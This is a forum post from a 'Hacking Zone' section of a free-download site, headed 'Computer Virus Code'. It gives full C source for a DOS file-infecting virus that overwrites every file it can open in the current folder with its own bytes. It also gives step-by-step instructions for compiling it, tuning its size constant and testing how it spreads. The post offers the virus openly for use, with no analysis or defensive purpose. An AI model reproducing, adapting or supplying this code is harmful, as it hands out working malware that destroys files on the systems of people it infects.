Download Free Softwares
Request : Please click on the ad bottom of the forum banner for sporting me Your one click give me sport thanks

Download Free Softwares

Download Free Softwares Free Games Free Movies
 
HomeRegisterLog in
clicksia

Share | 
 

 Computer Virus Code

View previous topic View next topic Go down 
AuthorMessage
SaJiD ShaheeN JuTT
Admin
Admin
SaJiD ShaheeN JuTT

Posts : 337
Join date : 2011-11-28
Age : 30
Location : pakistan

PostSubject: Computer Virus Code   Mon Dec 19, 2011 2:24 am

This is how you can compile the code:
1. You require Borland TC 3.0, copy the code into the compiler and press Alt+F9, it will compile the code.
2. To generate the exe file of the virus press F9. Remember, Do Not Press CTRL+F9 as this will infect your system also.
3. Note the size of the generated exe file in Bytes.
4. Modify the value of X (which is 89088 initially) in the code above with the size noted in above step.
5. Go to step 1 and step 2 again. The exe file obtained now is the Virus and is ready to infect other systems.
To Test:
1. Make a new folder and put some (any) exe files in it.
2. Also put this virus in it.
3. Run the virus and you will notice that the other exe files will get infected.
4. All the infected files are ready to reinfect.

FOLLOWING IS THE CODE


Code:
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
Back to top Go down
http://free-download.forumur.net
 

Computer Virus Code

View previous topic View next topic Back to top 
Page 1 of 1

 Similar topics

-
» [Thùng rác] Xin code avatar hiện ngoài index
» [Hỏi đáp] Code thanks hiện người thanks
» WebArtz Newsletter Vol. 18
» Stast Code JQuery…
» Selenium RC

Permissions in this forum:You cannot reply to topics in this forum
Download Free Softwares :: Hacking Zone :: Hacking Tips & Tutorials-